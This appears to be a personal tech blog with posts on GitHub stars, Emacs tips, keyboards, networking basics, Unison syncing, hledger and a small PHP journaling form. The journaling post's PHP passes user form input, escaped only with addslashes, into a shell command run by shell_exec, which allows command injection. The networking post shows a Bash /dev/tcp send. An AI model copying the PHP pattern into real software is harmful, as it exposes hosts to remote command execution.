Ruslan's Tech Blog

GitHub stars inflation

Fri, 08 May 2026 19:55:51 +1000

Here is what I’m talking about:

All these examples use a project called star-history.

I saw an explanation from the author of this project that the idea is to provide the audience with a metric about how many stars a particular project have collected over time, which can indicate how active the project is.

I can’t find this statement anymore.

Stars as trust currency

During my time with GitHub I perceived stars as some form of currency. I didn’t star every project I liked or read about on the internet because I wanted to make sure the value of stars is distributed fairly.

This might not be the case for other people. One of the use cases I’m aware of is using stars and bookmarks for interesting projects.

Nevertheless, both cases show the interest in a particular project from computer hackers, programmers and admins.
If enough interest is paid from this group, anyone else could assume with high certainty - the project is popular, active, interesting, working.
It, of course, never was a 100% accurate validation.

Inflation moment

: this picture is taken from star-history readme file

Due to recent developments in the tech industry, software engineering has become an easy entry area. It is still difficult to master as any other area but you can now make a simple web site in a minute instead of reading tons of docs and remembering every HTML tag.

The audience of people and bots who can write programs has broadened significantly.

To some degree this situation can be viewed as a form of asset bubble.

The supply of stars increased very quickly.
The number of people who can star increased as well.
The most attractive repos (from the new audience perspective) got tons of stars now.
The “hottest” repos capture most of the stars without necessarily increasing the value their produce.
The disconnected between a repo’s value and the number of stars is increasing.

The number of stars is changing meaning. It’s now a popularity signal mostly rather than anything else. Popularity at a particular time I should say. Stars almost never taken away and the project that collected tons of them can become inactive the next day but the number of stars will stay with it forever.

What the stars rating is currently showing is when the project was posted on Hacker News or similar places.

What to do

It is hard to trust this stars-metric now.
I now pay more attention to open and closed issues, the discussion inside of those issues. Forum/chat of the project where community is gathering.
The number of pull requests is maybe a good metric too although less trustworthy nowadays.
The number of sponsors can be a good one.

These were the places to look at anyway but now they has become more valuable.

I optimised my blog

Sun, 05 Apr 2026 15:27:44 +1000

I looked at my blog in the network tab and I saw this:

The entire index page with css is smaller than the custom Inconsolata font I was enforcing on my website.

The index page is 24.01KB (11KB compressed) and the font is 31.7KB (31.15KB compressed). Total size is 55.71KB.

I relaised I should not override the font of my web site.
Because people may have configured the monospace and other fonts in their system or just in their browser and I should not interfere with their preferred style of text.

I do understand that font can be a part of visual language of the web site. I just decided to choose not to use custom fonts as part of my visual language.

I removed the custom font

That’s the only thing I needed to do, so, I stopped downloading Inconsolata and started to use monospace as font-family.

And here is what happened to the network traffic:

23.91KB total (10.95KB compressed). 2x improvement. Load time is halved as well!

It still looks great (even better?)

Before

After

It even fits more posts on the screen now. I think it’s a good improvement.

Emacs: goto-address-mode

Sun, 05 Apr 2026 14:12:53 +1000

In one of my previous blog posts I mentioned a command that returns the list of all open pull requests I have ever created on github:

gh search prs --author @me --state open --json title,url --template '{{range .}}{{.title}} - {{.url}}{{"\n"}}{{end}}'

I wrapped this command into krydos/show-my-prs elisp function that just executes the above’s snippet using async-shell-command.

Here is its output:

Looks great and already useful for me but what’s missing is clickable links.

Turns out Emacs, as usual, have a built in answer.

The mode is called goto-address-mode. Just turn it on in the buffer and all the links become clickable (you can also C-c RET on them).
Look:

Emacs is the best!

CMD vs CTRL philosophy on macOS vs Linux

Sat, 04 Apr 2026 00:00:00 +0000

I think macOS keyboard shortcut philosophy is superior to Windows or Linux.

I don’t like Linux shortcuts

They are very much the same as the Windows ones - which is funny considering the history between the two.

The shortcuts are absolutely disrespectful to my hands. I have to move my palms constantly to do things.

Examples

Firefox (and other browsers) on Linux vs macOS

On Linux, if I type my query into the URL bar, get some records from history or search, and want to select a particular one, what should I do?

Press Tab — this one is alright, not too bad. This will select the next candidate in the suggested list. But what if I want to select the previous one?
Press Shift+Tab — yeah, OK, I can’t do it without moving my palms.
Can you just use the arrow keys? — No, I cannot, because it requires moving my palms as well. It’s unnecessary.

On macOS I can use readline style shortcuts with Control. I can press Ctrl+n or Ctrl+p to navigate down and up among the elements.

Any input

How do I control my cursor position on Linux when I type? I use the arrow keys. There is no other way. I can use some global remappers, but they break other things. They are alien to the system.

On macOS I can just press Ctrl+b to move backward or Ctrl+f to move forward. It’s so much easier and more comfortable.

It’s just a matter of habit

It isn’t.
Humans can get used to anything, sure, but there is no need to waste this adaptation resource. How is it possible that we accepted Ctrl+Shift+Tab as a key binding to switch tabs in our browsers on Linux?

Humans can’t press it comfortably.

I wish Linux would utilize the Win key more

It would be such a great improvement. Ctrl+n in Firefox on Linux always spawns a new window. It’s so painful. Why not make it Win+n to spawn a new window?

Or when I type something in Thunderbird, wouldn’t it be great to just press Ctrl+b to quickly go backward to fix a typo?
Hands don’t move - only the fingers.

There are no fixes to it

GNOME, for example, has Emacs mode, which doesn’t work in some applications, including Firefox.

Firefox has the ability to remap the modifier key (from Control to Windows key), but it only works in Firefox and breaks a bunch of other things.

There are quite a few programs that can help solve this, but they aren’t perfect (far from perfect, in fact). They require so much attention and configuration, and will break as soon as you install a new application that has its own shortcuts implemented in a weird way.

The only way would be to fix it at the fundamental level: maybe X11 / Wayland (although Wayland doesn’t handle keypresses, does it?).

Maybe one day.

List all my open PRs on GitHub

Mon, 23 Mar 2026 21:01:32 +1100

If you open github.com you'll see the copilot chat interface.

Apparently you can ask for assistance in there. For example, there is even a helper button for it, you can ask it to find all your open PRs.

If you click My open pull requests it will helpfully type the request to the copilot for you in the textarea.

Isn’t it handy? AI is just so much better, I don’t understand how some people don’t get it.

Now I can prompt it once in a natural language, submit and get the results in a couple of seconds while copilot is thinking and burning tokens.

Oh oh. Well, a bit more than couple of seconds and one prompt.

Anyways, here is how you do it.

gh search prs --author @me --state open

it takes one second.

Can't find a good keyboard

Sat, 28 Feb 2026 18:54:58 +1100

I’m not a big fan of using a mouse because it forces me to move my hands from the home row. I have similar stance on trackpads, although they are a bit better.

What really makes me feel good is trackpoints. They are probably less accurate but way more comfortable for me. Plus my workflow is mostly keyboard driven and I only need to move the cursor occasionally.

Below is a list of keyboards I used that have trackpoint.

Thinkpad keyboard

This was the first external keyboard I bought after switching from my Thinkpad X1 Carbon to Dell XPS 9500. The discomfort of using dell’s trackpad made me buy this keyboard.

I love it. One of the best keyboards I had. The only downside is it’s not programmable.
It’s very important for me to make CapsLock button behave as Control on the keyboard level, because when I connect it to another machine I want my keyboard to function as I used to. It made this keyboard not fully portable for me as that remaping friction caused quite a bit of frustration on my end.

Other than that - perfect.

Tex - Shura

Another nice keyboard I have (mine has one solid space bar though). It is programmable so that issue with the CapsLock mapping is eliminated with this keyboard.

Unfortunately for me, I can’t use it for long period of time. My wrists start to hurt after using it for a few weeks. I had to switch to my laptop’s keyboard (M1 Mac book), though occasionally I use Shura for a couple of days at a time.

It’s not the first mechanical keyboard where I discovered I have issues with using them. They always cause quite discomfort for my hands even though it is very comfortable from “home row perspective”.

I got some recommendations from my colleagues to use palm rest and it does solve the issue but it creates another point of discomfort as my portability is reduced.
At work I have meetings and I want to grab my laptop+keyboard which I don’t like but still can do. Grabbing laptop+keyboard+palmrest is too much.

Not sure what my other options are

I’m looking at low profile mechanical keyboards now but there aren’t that many options that I can easily try without paying too much.

There is Santoku Gen 2 that I might try one day.

Unfortunately the market of keyboards with trackpoints isn’t too big.

Makefile "define" keyword

Mon, 16 Feb 2026 21:16:31 +1100

I often use Makefile(s) as a task runner similar to Justfile or Taskfile.

I do sort of understand the concept. I kind of know what target is and what dependencies are. I also know what .PHONY targets are because they are good use case for make targets that are used as tasks.

But I have just discovered something new - the define is.

Turns out define is a way in Makefile to define a multi line string.

define multiline_string
hello from
makefile
endef

export multiline_string

.PHONY: print
print:
	@echo $$multiline_string

This prints:

hello from
makefile

The reason we use export is just to make sure we can print it because otherwise make is trying to interpret every line as a command. But if you don’t need to print it and you want to use this multi line string as a file content for example then it should just work.

I think this define keyword is pretty neat.

Some networking tips

Mon, 02 Feb 2026 21:25:49 +1100

I think I don’t understand computer networking really well so I’ve been playing with some related tech to improve my knowledge.

Here are the interesting stuff I found.

Broadcast address

Sending UDP packets to 192.168.1.255 will make this UDP packet seen by every machine in my network. At least computers that are in 192.168.1.0/24 (which means a range from 192.168.1.0-192.168.1.254).

This type of IP is mentioned in RFC 6890 so the standard defines how it works. It’s not just my router magically configures it. It’s a common behaviour.

Ping cannot be send to broadcast address

If I try to do ping 192.168.1.255 I get an error saying Do you want to ping broadcast? Then -b. If not, check your local firewall rules.
Option -b works.
It’s implemented in ping binary over here.

The reason is that it looks like Linux kernel itself do not allow to send packets to broadcast address unless socket is opened with SO_BROADCAST. It’s all there probably due to some security related reasons to protect network flooding.

Question I was unable to answer

If I send TCP SYN packet to 192.168.1.255 will I get ACK back from all the computers in my network? (tcp handshake)

Multicast addresses

This thing is defined in RFC 1112.

Sort of similar to Broadcast address but other machine must subscribe to a broadcast first by sending a message (using special protocol) to a particular IP from the range defined in the RFC.
The range is pretty big - 224.0.0.0 to 239.255.255.255.
268 million IPv4 addresses could be freed up if this cool Multicast range didn’t exist.

mDNS

It’s like DNS but doesn’t require an actual DNS server. I think it’s supported pretty much on every modern OS now.
It uses special domain .local and if you try to ping test-machine.local mDNS will ignore sending test-machine.local to the DNS server. Instead it will use multicast thingy I mentioned above to send a message to IP 224.0.0.251 with a host name test-machine.local and the machine that has this domain name and has mDNS configured, will reply back with its IP address. Because machines that support mDNS subscribe to the broadcast for all the packets sent to 224.0.0.251.
Pretty neat.

Bash /dev/{udp,tcp}/<ip>/<port>

echo “test” > /dev/tcp/192.168.1.111/8080 - this command will send test to IP 192.168.1.111 to the port 8080.
I saw it mentioned somewhere in the internet couple of times and I thought it’s Linux kernel feature but I found it’s actually Bash feature.
/dev/udp or /dev/tcp are not even in the file system. Bash just intercepts these devices/paths and does the magic.
Check this man page (search for “/dev/tcp”)

It is quite refreshing to understand these bits.

Emacs: Dumb Jump Is So Good

Sat, 03 Jan 2026 21:22:17 +1100

There is a library I rely on constantly in my day to day computing, at work and at home. This library is called dumb-jump.

I don’t see it is prized as often as Magit for example, which made me write this post.

Below I explain what it does but first, let me thank to Jack Angers and all the contributors. I have used this library for 10 years. It is one of the best computer programs I have ever used. There were periods when I was off Emacs during that time and the first thing I looked for in other editors was a plugin similar to dumb-jump.

What does it do

It jumps to definition of a function/method/class.

Here is my config for it:

(use-package dumb-jump
 :ensure t
 :config
 (add-hook 'xref-backend-functions #'dumb-jump-xref-activate)
 (setq dumb-jump-force-searcher 'rg)
 ;; use completion-read instead of a separate buffer with candidates
 (setq xref-show-definitions-function #'xref-show-definitions-completing-read))

Combined with rg it eliminated my need in LSPs or ctags/etags entirely.

Here is me using it on Emacs source code, which is big code base (click to view the video in a separate tab):

In this video I:

press M-. to go to definition.
In less than a second I get matching definitions that I can filter if necessary.
I jump straight to the definition.

How does it work

It just greps the entire project for the symbol at point. The best thing about it is that with LSP for example it’s impossible (or rather I haven’t seen it working) to place my cursor over a function name in a comment somewhere and jump to it.

Like in:

/**
 * This test function is cool but
 * check another_function_name for more info
 */
 function test() {}

With dumb-jump - I can place my cursor at another_function_name, press M-. and I’m looking at the definition of it.

It works with ANY programming language.

Why not

ctags/etags

Every time a file is changed the ctags table must be regenerated. It can be automated but I think it’s unnecessary overhead.

LSP (Eglot)

I love LSP as a technology but I don’t want a background process to run on my machine while I’m working on a project. What if during the day I work on 10 projects, which is real for me at work for example. It will spawn 10 background processes for different languages that I have to mentally track (because I do mentally track what’s running in my computing environment).

The amount of RAM and CPU spent on this just feels too expensive.

Summary

If for some reason you haven’t tried this library - try. It’s so good.

I wish I can find better words on how grateful I am that it exists. Thank you!

Migration from Syncthing to Unison

Mon, 29 Dec 2025 12:49:12 +1100

I spent quite a bit of time yesterday migrating from Syncthing to Unison.

Why

About six months ago, I decided to move away from Syncthing due to an ethical dilemma.

Syncthing’s usability is amazing, and I love the software. I am sad that I had to make the migration, but very happy that Unison exists and works great.

How the migration went

It went smoothly (except one thing). Every operating system I have, including relatively rare ones like NetBSD, has the Unison package in their repo.

I chose to use hub-and-spoke architecture where I have everything synced into a bucket (Hub) which is a NAS I have at home and every other machine just syncs everything to and from it.

I have an Ansible playbook to configure my NAS so I just extended it with “Install Unison” task and that’s it. I also added a few profiles to sync different things.

Unison Profile

A profile is just a configuration file that you can call anything.prf and put in your ~/.unison folder on the client.

In this file you can define your local folder, your remote folder you want to sync to/from (a folder on the Hub machine in my case) and add a few configuration options to tell Unison how to handle permissions, what files to sync or not to sync, etc.

Looks like this:

root = "/local/folder"
root = "ssh://remote-user@the-hub.local//home/remote-user/unison-sync"

batch = true
fastcheck = true

times = true
owner = false
group = false
perms = 0

Now you can just call unison anything (“anything” is the profile name) and it will sync both roots defined in the profile.

Simplicity

As you probably noticed it all works via SSH. There are other options but all my devices have SSH access anyway. This simplifies my mental model a lot. I just control the access as usual using SSH keys which I already do and Unison doesn’t add a new layer of access control complexity.

Android difficulties (the one thing)

The migration to Unison was a bit tricky on my Android phone. I didn’t even realise it would be an issue until I migrated all my machines and then opened my phone’s Termux and typed:

pkg install unison

… and nothing happened. There is no Unison in Termux repos.

Following this thread I was able to compile this script to get OCaml and Unison source code and compile them both:

# These are probably already set in Termux but I'll set them just in case.
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export TMPDIR="$HOME/tmp"

mkdir -p $TMPDIR # download and compile stuff in this folder

# Build OCaml first
OCAML_VERSION=5.3.0
curl -L https://github.com/ocaml/ocaml/releases/download/${OCAML_VERSION}/ocaml-${OCAML_VERSION}.tar.gz -o "$TMPDIR/ocaml.tar.gz"
tar xzf "$TMPDIR/ocaml.tar.gz" -C "$TMPDIR"
cd "$TMPDIR/ocaml-${OCAML_VERSION}"
# Seems like we need -Wno-error=implicit-function-declaration during the configuration process
# otherwise it won't compile.
sh ./configure --prefix=$PREFIX --disable-warn-error --without-afl LDFLAGS="-landroid-shmem" CFLAGS="-Wno-error=implicit-function-declaration"

# Same -Wno-error=implicit-function-declaration during the compilation process
make world CFLAGS="-Wno-error=implicit-function-declaration"
make install

# Build Unison second
UNISON_VERSION=2.53.7
curl -L https://github.com/bcpierce00/unison/archive/v${UNISON_VERSION}.tar.gz -o "$TMPDIR/unison.tar.gz"
tar xzf "$TMPDIR/unison.tar.gz" -C "$TMPDIR"
cd "$TMPDIR/unison-${UNISON_VERSION}"
# Not sure if -Wno-error=implicit-function-declaration needed here but
# I'm gonna add it just in case
make NATIVE=false CFLAGS="-Wno-error=implicit-function-declaration"
make NATIVE=false install

# I don't want to keep source of both things I just compiled
rm -rf $TMPDIR

This worked. So now I have Unison on Android as well.

Hopefully OCaml and Unison packages will both be available in Termux soon.

Usability

Syncthing is very seamless usability wise. With Unison I have to manually trigger the sync process. I now have a couple of Termux Widgets that sync my phone with the Hub.

There is a way to configure watch mechanism for Unison which I’ll probably do later. I haven’t decided yet if I want it or not. Somehow I find the fact that synchronisation magic happens only on my request very satisfying.

Summary

So far I’m pretty happy with it.

My Hub is available everywhere thanks to Tailscale so I can sync things any time anywhere.

Termux Widgets are pretty nice too. I had to change my workflow a bit but it’s ok.

I was very close to rolling my own set of bash scripts to sync my files but I’m very happy I found about Unison.

Another positive side effect that I’ve noticed so far is that my Android phone’s battery is holding the charge so much better. Usually by 3PM it is below 50% but right now it’s 75%.

Emacs: find-file-at-point trick

Wed, 05 Nov 2025 16:29:36 +1100

The story

Sometimes I hover over a file path in my terminal emulator (in Emacs of course) and type
M-x find-file-at-point. It’s nice command and it works reliably.

I don’t want to type it though. I want Emacs to detect a file path at point.

And there is a built in package for this. Just add this line to your init.el and it should work.

(ffap-bindings)

This makes C-x C-f keybinding to automatically detect a file path at point. Cool!

The twist

Unfortunately it was so much worse than what I’ve expected.

It does detect file path at point so reliably and so often (there are lots of file paths in my terminal output usually)
that almost 80% of time when I press C-x C-f my minibuffer is already pre-filled with the path my cursor happened to be on, which I didn’t need. I wanted it to be clean so I could type a file path there by myself.

I noticed that using ffap package adds a bit of cognitive overload for my workflow. I have to always think about where my cursor is before I press C-x C-f.

I decicded to write my own function that should check for current-prefix-arg and call find-file or find-file-at-point accordingly but just before that I decided to read some docs.

RTFM

Something that I don’t think I’ve ever done is C-h f find-file.

I learned this keybinding early on in my Emacs journey and never needed to read a documentation for it.

But if I read it, it says something about M-n keybinding that uses functions defined in file-name-at-point-functions variable. One of them, by default, is ffap-guess-file-name-at-point.

So having my cursor at a file path, I can type C-x C-f get my regular find-file behavior and then I can just press M-n and the minibuffer will be pre-filled with the file path at point.
^here is how small this blog post could be lol

Perfection.

Useful Hledger

Tue, 30 Sep 2025 08:08:16 +1000

I’ve been using hledger since 2022. I started it as an experiment hoping to understand where my money goes, find some patterns in my spending and save some money eventually. I did not identify many patterns, if any, but I still was able to save some money.

I’m going to describe how and why I find tracking money being useful and then I’ll show you my setup.

Why is it useful to track finances

It seems like, at least in my case, I was able to reduce money spend just by tracking where they go. I blame my subconscious for this. For example I probably noticed that I spend too much on food delivery services and then I started to cook at home more often.

I don’t remember any cases during almost 4 years when I found a spending pattern that was an obvious issue. Never happened. Some things happened though:

I found some cases when I paid too much fees for a service I used regularly, which then led me to find a replacement for it.
Found that I pay for telecommunications (internet, phone) too much considering my usage. It led me to close some internet accounts and change my phone package.
I paid too much for the apartment I rented. I didn’t need hledger to figure this out, but doing summary report one day, I noticed the money I spent on it in 6 months were uncomfortably large even though monthly payment was acceptable by me.
I’ve noticed coffee prices went up :D

How I track it

I use my phone and laptop with Emacs. Files are synced using syncthing. The whole process is half automated.

On my phone I use Termux and Termux:API package. It allows me to get list of all notifications that I can then parse into hledger records.

I have a script (call ledger-check to execute it) that parses all notifications and if a bank notifications found, saves them into the ledger.journal file (which is a hledger file for current year). It runs every minute on my phone in Termux session so notifications aren’t usually lost.

The script makes sha256 hash from each record and adds it to the hledger file as well so next time the script is ran the records not duplicated.

Each record looks similar to this:

;; automation:bf4e2493fc27a6d17bd173ea9c70620759766f29
;; datetime: 2025-09-25 17:32:42
;; content: Paid $20.65 at Place Name Here AUD Balance: $100.41
2025-09-25 eating out
 expenses:food:eat-out 20.65 AUD
 assets:banks:bankname1

In this case the title and expense category were recognised automatically because I have this place mentioned in my templates list (see the script). Otherwise it would mark it as expenses:unknown which means I then should go and manually update records on my laptop. This is why I keep content: to each record which is full content of push notification received from a bank app. It helps me to deal with “unknown” records later.

Every week on Sunday I then review my spendings and check if amount of money in my bank account matches with what hledger report tells me. I manually adjust my ledger records if there is a mismatch (using special expense category for this).

Thanks to Emacs and ledger-mode I can just simply run M-x ledger-report and choose among many pre-existing reports. I also made a few of my own.

Final Thoughts

I’ve noticed that parsing bank notifications is easier than looking for ways to integrate with a bank or special bank reports that are often available for download.

Keeping all the records in simple text file has been very useful and makes me feel safe. I believe simple txt format will never go away. If hledger disappears I can easily replace it with ledger or beancount. Even with my own scripts if necessary.

I sometimes read that people use a tool for a week or a month and able to tell how useful it is. I wish I have similar skill. I think test driving this tool for 4 years proves its usefulness for me.

I have never subscribed to receive any marketing emails

Mon, 04 Aug 2025 17:35:13 +1000

It feels strange that I always receive a lot of marketing emails despite the fact that I never subscribed to any.

I even feel like I have control over it because of that tiny “Unsubscribe” link that is always available.
I locate it in less than a second, click it and bye bye little annoying email - you’re done. I can even detect the tricks from these unsubscribe tools when they unsubscribe me and then show me the big green button saying Confirm and subscribe again which is supposed to trick me.
But I’m untrickable! Haha!

I just did the same to “LA GRANDE ABBUFFATA PIZZA+PASTA PARTY” (whatever that is) email but now I feel tricked on another level.
I’m just part of this strange process where businesses:

subscribe me to their marketing material
government tells them to make sure people can unsubscribe
businesses comply
I receive marketing emails
I unsubscribe
the circle repeats

Seems like everybody gets what they want here except me.

How much value was produced in this circle? Probably some, right? Right?
Maybe somebody has a job and can support their family because of it. I really hope so.
I can slightly suffer for this reason.

I do appreciate the trick…

Emacs: Keep journaling on the go

Sun, 27 Jul 2025 16:35:19 +1000

I’ve been journaling a lot for many years. It cools down my brain a little and helps me reflect on things better. Emacs and org-mode are of course the tools I use to journal.

The problem

I can’t easily journal on the go when I only have my phone handy.

Solution

I’ve built incredibly minimal web page with a simple form. When the form is submitted it is captured by a script, parses the form data and calls my Emacs with --eval to add the form data into my journal.org file.

And when I say minimal I mean it. Just look at it.

Here is its whole source code:

<html>
 <head>
 <meta name="viewport" content="width=device-width, initial-scale=2.0, maximum-scale=4.0">
 </head>
 <body>
 <form action="" method="post">
 <input name="title" type="text"/><br/>
 <textarea name="content"></textarea><br/>
 <button>submit</button><br/>
 </form>
 </body>
</html>

<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
 $title = addslashes($_POST['title']);
 $content = addslashes($_POST['content']);

 # In actual file it's a oneliner.
 # I split it for this post purposes.
 # Hope it still works in case you decide to copy/paste.
 $cmd = "emacs --batch --load=\"~/.emacs.d/init.el\" --eval \"";
 $cmd .= "(progn ";
 $cmd .= " (org-capture nil \\\"j\\\")";
 $cmd .= " (insert \\\"{$title}\\\")";
 $cmd .= " (end-of-buffer) (org-return) (org-cycle)";
 $cmd .= " (insert \\\"{$content}\\\") (org-capture-finalize))\"";

 shell_exec($cmd);
}
?>

I start it with php -S 0.0.0.0:8080 and it just works. It knows what templates I use and it knows where the org-directory is.
I deployed it to my home server (just a laptop in my closet) and run it using Portainer.

My home server is constantly available for me thanks to Tailscale so I can access it outside of my home.

Why not

Why not Orgzly

Orgzly, for those who doesn’t know, is an Android app that allows to interact with org-mode files. One can import org files in it and then just update them on the go. Synchronization among machines can be done with Syncthing.

It’s very good app and I was using it for journaling a lot. Often times though, I want to add a note to my journal and then I realize that I need to create all the subheadings for today manually to follow the format I defined in my org-capture-templates. Not a big deal and it worked for awhile but it stopped me from dumping my thoughts into the journal quite a few times.

Why not Emacs on Android or Termux + Emacs

Both are great solutions as soon as one plugs in a keyboard into their phone. Using Emacs on a touch-screen is of course possible but the amount of frustration I get in the first 10 seconds of using it feels very much unjustified.

Why not run the same script on your phone locally

In this case I don’t need the whole home server setup with tailscale and portainer. Just syncthing which I already have would do the job.
Good point. I just wanted to have a bit more fun than that :)

Newsticker - Emacs built-in RSS reader

Wed, 09 Apr 2025 16:47:34 +1000

I’ve been browsing Emacs’s The Info Directory (C-h i) the other day and came across a menu item called Newsticker.

Turned out is a built-in RSS reader I never heard of. I know Emacs has Gnus which I tried to use as RSS reader before but didn’t succeed. Then, as probably most of Emacs users, I moved to Elfeed which is great.

Here is how Newsticker looks like:

isn’t it nice? You can open it with M-x newsticker-show-news.

It’s been a few weeks since I decided to use it.

Navigation is very simple:

f and F for switching feeds forward/backward
n and p for switching posts
<RET> to read full article

Configuration

Setting feeds is only slightly different from Elfeed:

(setq newsticker-url-list '(
 ("Planet Emacslife" "https://planet.emacslife.com/atom.xml")
 ("<name>" "<url>")))

Also when q is pressed the whole Newsticker is closed BUT its buffers are still there which I don’t really like.

So I came up with this elisp:

(defun my/close-newsticker ()
 "Kill all tree-view related buffers."
 (kill-buffer "*Newsticker List*")
 (kill-buffer "*Newsticker Item*")
 (kill-buffer "*Newsticker Tree*"))

(advice-add 'newsticker-treeview-quit :after 'my/close-newsticker)

Now when newsticker-treeview-quit function is called the Newsticker buffers getting killed too.

Why use built-in tools

I remember I’ve read, I think in Irreal’s blog about not understanding some people’s obsession to use built-in tools in Emacs.

I can’t quite explain it either but I do feel drawn towards built-in tools too haha.

Naturally I try to track/think about every extension I add to my config to make sure it’s up to date, not abandoned, supports my version of emacs, how much dependencies it has, etc. And even when everything is ok, I still feel like someone can take it from me if let’s say a maintainer will decide to archive the project or something.

It just sits in my brain on the background and slowly drains my energy. It’s maybe silly reason but I just feel more vulnerable with more dependencies.

Anyways, I suggest you to try Newsticker, it’s very interesting mode.

Abandoning Gemini (the protocol)

Tue, 01 Apr 2025 21:07:02 +1100

I’ve been running my own Gemini capsule (web site) on my cheap DigitalOcean droplet for a few years.

For those who doesn’t know what Gemini is: is a minimal web protocol (think of HTTP). It serves pages containing gemtext (think of HTML) which is super minimal too. No CSS. No JS.

The whole vibe of it reminds me of the old web that I actually never been part of but romanticised it in my head enough to be in love with it.

I have been part of way purer web though.

The Web without GDPR/Cookie popups.
Search engines that were closer to grep which were surprisingly pleasant to use.
The Web that loaded faster than anything is loading right now even though I was using crappy and slow internet connection.

Gemini idea made me feel warmth and I started to serve this blog in its space.

Recently I even made my own Gemini server.

I thought using and contributing to this protocol is going to make it more popular and maybe even change the “current web”.

And then something clicked in my brain and I realized that I just lie to myself.

The problem with current web is not HTTP protocol. In fact HTTP protocol is amazing and relatively simple. It is quite flexible too.
gemtext is kind of cool but HTML is even better. You still can find a browser or a browser extension that will stop loading JS and images if that’s your thing. Even pure HTML allows web creators to express themselves by styling their web sites.
But the biggest lie is that I don’t use it. I like the idea. I do have a web site in Gemini space. But I don’t even open any ones capsule and read stuff. In the beginning I did but most if not all capsules have regular web (HTTP) versions available to which I often could just subscribe to with my RSS reader. Or open them in my browser which is configured with all the things I like (unlike Gemini browsers).

I’m going to shut down my capsule in Gemini space and continue living my life with HTTP. It gave me (and continuing giving) so much great stuff and the fact that it’s broken is sad and I should try to make it better place instead of dropping it because it changed.

This blog has been migrated from Jekyll to Hugo

Sun, 30 Mar 2025 14:04:19 +1100

I have migrated this blog to Hugo yesterday.

It was fun journey and I spent about 5 hours doing it.

Why change

Recently I bought a relatively cheap laptop which I decided to use as my “Productivity Laptop”. I have Void-Linux installed and I only run Emacs and Firefox on it. There are more to it but that’s maybe a story for another blog post.

Long story short one of the outcomes of using that productivity laptop is my Gemini server written in Zig. When I wanted to write a blog post about it on the same laptop I found that I have to:

install ruby
install gem and bundler
install jekyll and its dependencies

Instead I could also “just” install docker/podman and use Ruby or even Jekyll specific container.

I felt like it’s just too much for a simple task as writing a blog post.

Why Hugo

It’s just a single native binary. Everything I mentioned in previous section is solved by just this single native binary.

I did have an idea to use Emacs org-mode for blogging or even write my own static site generator tailored specifically for my needs. The latter was especially tempting but I’m glad I didn’t go this path. Would’ve taken more than 5 hours for sure. I also generally try to resist Emacs power of seducing me into using it for everything.

Migration - easy parts

Hugo has hugo import jekyll command which basically copies all the posts and assets into Hugo’s folder structure.

hugo new theme - is for generating a new color theme to use for the blog. This is where all the css and html layout is defined.

I just had to migrate all the html/css into that new theme.

Migration - not that easy parts

Code highlighting

Code highlighting is a bit different in Hugo as in different css/html is generated for it. I still haven’t fixed it properly but it’s not that bad at the moment.

URL schema

URL style is completely different in hugo and I had to make the URL schema the same as in Jekyll because of links to my blog in the internet. Plus I didn’t want to disturb search engines.

There is a way to define url property in every post to customize it but doing it for every post sounds strange.

Fortunately hugo allows to configure it.

[permalinks]
 [permalinks.page]
 post = '/:year/:month/:day/:contentbasename'

This is how I did it. post is the folder name where I keep all my posts.

RSS

Fortunately hugo generates RSS automatically and has a feed per tag too.

On of the issues is that my Emacs RSS feed is shared with Sacha Chua’s planet.emacslife.com. It means that the URL to that feed must have staid the same and Hugo default path for generating RSS for a tag is completely different from Jekyll.

To fix it I had to generate ./content/tags/emacs/_index.md file with this content:

---
url: 'feed/by_tag/emacs.xml'
description: 'Posts about Emacs - the best text editor'
---

it made Hugo to generate rss feed for this particular tag at that particular URL I specified.

Result

There were and still are a few nice things I’d like to do but in general the migration went smooth. I’m writing this post from my productivity laptop and the only thing I needed to do is download hugo binary from the release page

This migration also gave me opportunity to remove all scss files that I used only for keeping variables in (css is now fully capable of that), remove some unused styles and review the whole html layout of this blog.

I’m quite happy with the outcome.

Gemini Server in ~150 lines of Zig

Thu, 20 Mar 2025 00:00:00 +0000

I’ve been running my Gemini capsule for a few years and also recently I got interested in Zig programming language.

Combining these two facts I came up with this Gemini Server implementation that is about 150 lines long (including comments).

What I like

Actually, the original idea was to implement it in Rust. And I started it in Rust. But after a few hours (spanned across multiple days) of writing Rust I felt like whatever I want to do is not acceptable and there is the only one correct path to do things (and Rust compiler will happily guide you).

It’s not bad. Just not fun.

As soon as I switched to Zig the whole process just started to feel better. I felt so much relief and there were even days when I woke up earlier before work to write some Zig.

There are many articles about pros and cons of Zig so I’m not going to list them again (almost) but I want to note that the language is a joy to work with and I haven’t felt that much fun in a long time.

Exploring its source code and std library is another incredibly fun experience. It’s super clean and understandable.

It also feels very safe to write it. It has optionals, error types, enums. The compiler will tell you if you forgot to handle an error somewhere.

What I didn’t like

The only thing I didn’t like is how slow the compilation is. It’s just annoying.

Although the Zig itself is quick. The iterative approach when you try to compile a program, see error, fix error and repeat is working completely fine in Zig. They even have zig build --watch which is very handy.

The slow part comes in when everything is fine and there are no errors. As far as understand as soon as LLVM gets involved the things gets slow and LLVM is involved if there are no errors in your Zig program.

Emacs: glasses-mode

Mon, 24 Feb 2025 00:00:00 +0000

Let’s say I have this code (TypeScript) with long camelCased variable names.

I’m ok with camelCase variables especially if this is a convention for a language. But at the same time I find it a bit difficult to read compared to underscore_case style.

Meet M-x glasses-mode.

A beautiful minor mode that is there, built-in, since Emacs 21. Look what it does

The mode doesn’t change text in the buffer. It just makes it look like camelCase variable names became underscore_case. It is possible to keep editing the buffer and variable names will adjust on the fly. You can use your M-x rg or M-x grep and they will search for the text under cursor in camelCase because, again, text in the buffer isn’t changed.

Amazing.

Emacs: quick-calc

Sun, 22 Dec 2024 00:00:00 +0000

You probably have heard about famous emacs M-x calc. I always wanted to become a poweruser of it but never could. My needs are too simple for it, I just want to quickly add/subtract numbers.

Recently I’ve discovered built-in M-x quick-calc which is perfect for what I need. It is already bound to C-x * q.

You can quickly calculate what’s needed and the result is going to be saved to the kill-ring. You can paste the result in place if you want by prefixing the command with C-u.

Emacs has everything :)

Emacs: which-function-mode

Fri, 02 Feb 2024 00:00:00 +0000

The problem

I sometimes work with long functions or big org subtrees and it’s not always clear what function or org subtree I’m in right now. I wish there is a package that can show me what function I’m in.

which-function-mode

Turns out Emacs has this mode built-in so this functionality is just M-x which-function-mode away. It shows in the status line a function name I’m currently in (see [encode_terminal_code] on the screenshot above). It’s global mode so as soon as it’s enabled, you’ll see it’s working for every buffer. You can have it enabled on Emacs startup by adding (which-function-mode) to your config file.

